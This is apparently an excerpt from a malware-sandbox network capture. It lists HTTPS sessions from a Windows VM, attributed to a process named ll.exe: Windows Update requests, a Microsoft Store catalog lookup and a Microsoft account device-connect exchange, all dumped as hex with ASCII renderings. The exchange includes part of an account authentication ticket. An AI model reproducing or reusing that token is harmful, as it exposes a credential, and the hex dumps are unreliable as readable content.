2022-04-08 08:03:33 UTC8760INData Raw: 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73
Data Ascii: MinVersion":0,"PlatformName":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"EndDate":"9998-12-30T00:00:00.0000000Z","ResourceSetIds
2022-04-08 08:03:33 UTC8761INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
59192.168.2.35003852.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:33 UTC8761OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:33 UTC8761INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 447b1056-43ba-4fda-a9d4-198642dceea3
MS-RequestId: 5b655adf-9175-4a0c-b604-d59e55bd55c4
MS-CV: AvdqEEZnEUO+0blf.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:32 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:33 UTC8762INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:33 UTC8777INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
6192.168.2.34998520.199.120.85443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:27 UTC30OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 37 30 62 37 62 34 30 33 30 65 35 35 36 65 34 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 870b7b4030e556e4
2022-04-08 08:02:27 UTC31OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:02:27 UTC31OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 37 30 62 37 62 34 30 33 30 65 35 35 36 65 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 870b7b4030e556e4<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:02:27 UTC32OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 37 30 62 37 62 34 30 33 30 65 35 35 36 65 34 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 870b7b4030e556e4
2022-04-08 08:02:27 UTC32INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:02:27 UTC32INData Raw: 4d 53 2d 43 56 3a 20 72 4c 56 74 36 68 68 66 66 30 57 70 71 4e 43 70 56 6b 34 68 74 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: rLVt6hhff0WpqNCpVk4htQ.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
60192.168.2.35003920.54.89.106443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:33 UTC8792OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:34 UTC8792INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: cbc61937-96fe-4744-b40e-de157ba7038b
MS-RequestId: 3c9c07ae-5521-439a-8893-318597c8a1f6
MS-CV: ZIzn9UWA+ESHz4XX.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:33 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:34 UTC8793INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:34 UTC8808INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
61192.168.2.35004020.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:34 UTC8823OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: RETjtPaEwECyiDEt.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:34 UTC8823INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:33 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 8a3250f2-6033-446a-bfbb-807ad1f7b2a8
MS-RequestId: 55cb43bc-6837-42c6-baa4-ea215988a21a
MS-CV: RETjtPaEwECyiDEt.0.2.4.422987627.0.1.422987627.4070804641.0
X-Content-Type-Options: nosniff
MS-ServerId: 65db49-pn5ph
Region: neu
Node: aks-systempool-37630073-vmss000003
MS-DocumentVersions: 9NXQXXLFST89|1942
2022-04-08 08:03:34 UTC8824INData Raw: 66 62 36 30 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 36 54 31 35 3a 35 34 3a 32 39 2e 30 35 30 39 36 39 38 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 36 36 31 37 39 32 30 30 39 34 30 39 39 31 39 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65
Data Ascii: fb60{"BigIds":["9NXQXXLFST89"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-06T15:54:29.0509698Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3056617920094099190","EISListingIdentifier":null,"BackgroundColor":"transpare
2022-04-08 08:03:34 UTC8827INData Raw: 2e 36 35 30 30 34 2e 31 34 34 39 35 33 31 31 38 34 37 31 32 34 31 37 30 2e 65 38 39 61 34 64 63 65 2d 66 64 39 61 2d 34 61 31 30 2d 62 38 65 34 2d 61 36 63 33 61 61 31 63 30 35 35 65 2e 31 33 35 32 66 66 62 62 2d 36 65 36 61 2d 34 30 38 37 2d 38 39 34 32 2d 36 33 66 31 39 35 62 33 34 32 38 66 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 33 34 39 33 32 35 33 31 31 33 39 32 38 38 37 33 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f
Data Ascii: .65004.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.1352ffbb-6e6a-4087-8942-63f195b3428f","Width":66},{"FileId":"3034932531139288733","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":6024,"ForegroundColo
2022-04-08 08:03:34 UTC8831INData Raw: 37 34 39 37 36 35 34 31 30 32 34 34 36 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 35 34 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 33 38 30 6c 77 36 43 53 43 31 58 33 69 45 42 72 4c 4e 75 71 66 68 35 2b 4c 63 41 43 74 2f 70 37 46 72 42 52
Data Ascii: 74976541024461","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":79541,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"380lw6CSC1X3iEBrLNuqfh5+LcACt/p7FrBR
2022-04-08 08:03:34 UTC8835INData Raw: 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 39 30 33 35 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 35 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 54 4d 70 39 37 77 6b 63 53 51 6c 45 33 43 78 68 34 71 73 4c 61 42 46 62 62 42 4b 4e 48 41 32 48 39 36 4e 6f 6a 4b 6a 2f 30 7a 34 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73
Data Ascii: oundColor":"transparent","Caption":"","FileSizeInBytes":1903595,"ForegroundColor":"","Height":1080,"ImagePositionInfo":"Desktop/5","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"TMp97wkcSQlE3Cxh4qsLaBFbbBKNHA2H96NojKj/0z4=","Uri":"//store-images.s
2022-04-08 08:03:34 UTC8839INData Raw: 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 30 35 37 31 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 32 31 36 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 58 62 6f 78 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 4e 32 77 69 45 4a 51 4c 61 71 73 69 53 55 45 43 42 54 54 50 46 35 79 70 57 69 43 32 41 33 45 6f 77 2b 43 41
Data Ascii: ,"EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3057195,"ForegroundColor":"","Height":2160,"ImagePositionInfo":"Xbox/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"N2wiEJQLaqsiSUECBTTPF5ypWiC2A3Eow+CA
2022-04-08 08:03:34 UTC8843INData Raw: 49 22 2c 22 41 51 22 2c 22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41
Data Ascii: I","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A
2022-04-08 08:03:34 UTC8847INData Raw: 48 22 2c 22 42 44 22 2c 22 42 45 22 2c 22 42 52 22 2c 22 42 47 22 2c 22 43 41 22 2c 22 43 4c 22 2c 22 43 4e 22 2c 22 43 4f 22 2c 22 43 52 22 2c 22 48 52 22 2c 22 43 59 22 2c 22 43 5a 22 2c 22 44 4b 22 2c 22 45 47 22 2c 22 45 45 22 2c 22 46 49 22 2c 22 46 52 22 2c 22 44 45 22 2c 22 47 52 22 2c 22 47 54 22 2c 22 48 4b 22 2c 22 48 55 22 2c 22 49 53 22 2c 22 49 4e 22 2c 22 49 44 22 2c 22 49 51 22 2c 22 49 45 22 2c 22 49 4c 22 2c 22 49 54 22 2c 22 4a 50 22 2c 22 4a 4f 22 2c 22 4b 5a 22 2c 22 4b 45 22 2c 22 4b 57 22 2c 22 4c 56 22 2c 22 4c 42 22 2c 22 4c 49 22 2c 22 4c 54 22 2c 22 4c 55 22 2c 22 4d 59 22 2c 22 4d 54 22 2c 22 4d 52 22 2c 22 4d 58 22 2c 22 4d 41 22 2c 22 4e 4c 22 2c 22 4e 5a 22 2c 22 4e 47 22 2c 22 4e 4f 22 2c 22 4f 4d 22 2c 22 50 4b 22 2c 22 50
Data Ascii: H","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","P
2022-04-08 08:03:34 UTC8851INData Raw: 37 32 33 32 33 32 2d 37 62 36 30 2d 34 66 37 32 2d 39 39 32 35 2d 39 30 32 66 37 35 36 61 38 33 62 32 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37
Data Ascii: 723232-7b60-4f72-9925-902f756a83b2\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":2814751014977536,\"platform.target\":5},{\"platform.maxVersionTested\":2814751014977536,\"platform.minVersion\":28147
2022-04-08 08:03:34 UTC8855INData Raw: 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 38 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 31 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c
Data Ascii: se},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"systemId\":5},{\"level\":51,\"systemId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":72,\"systemId\
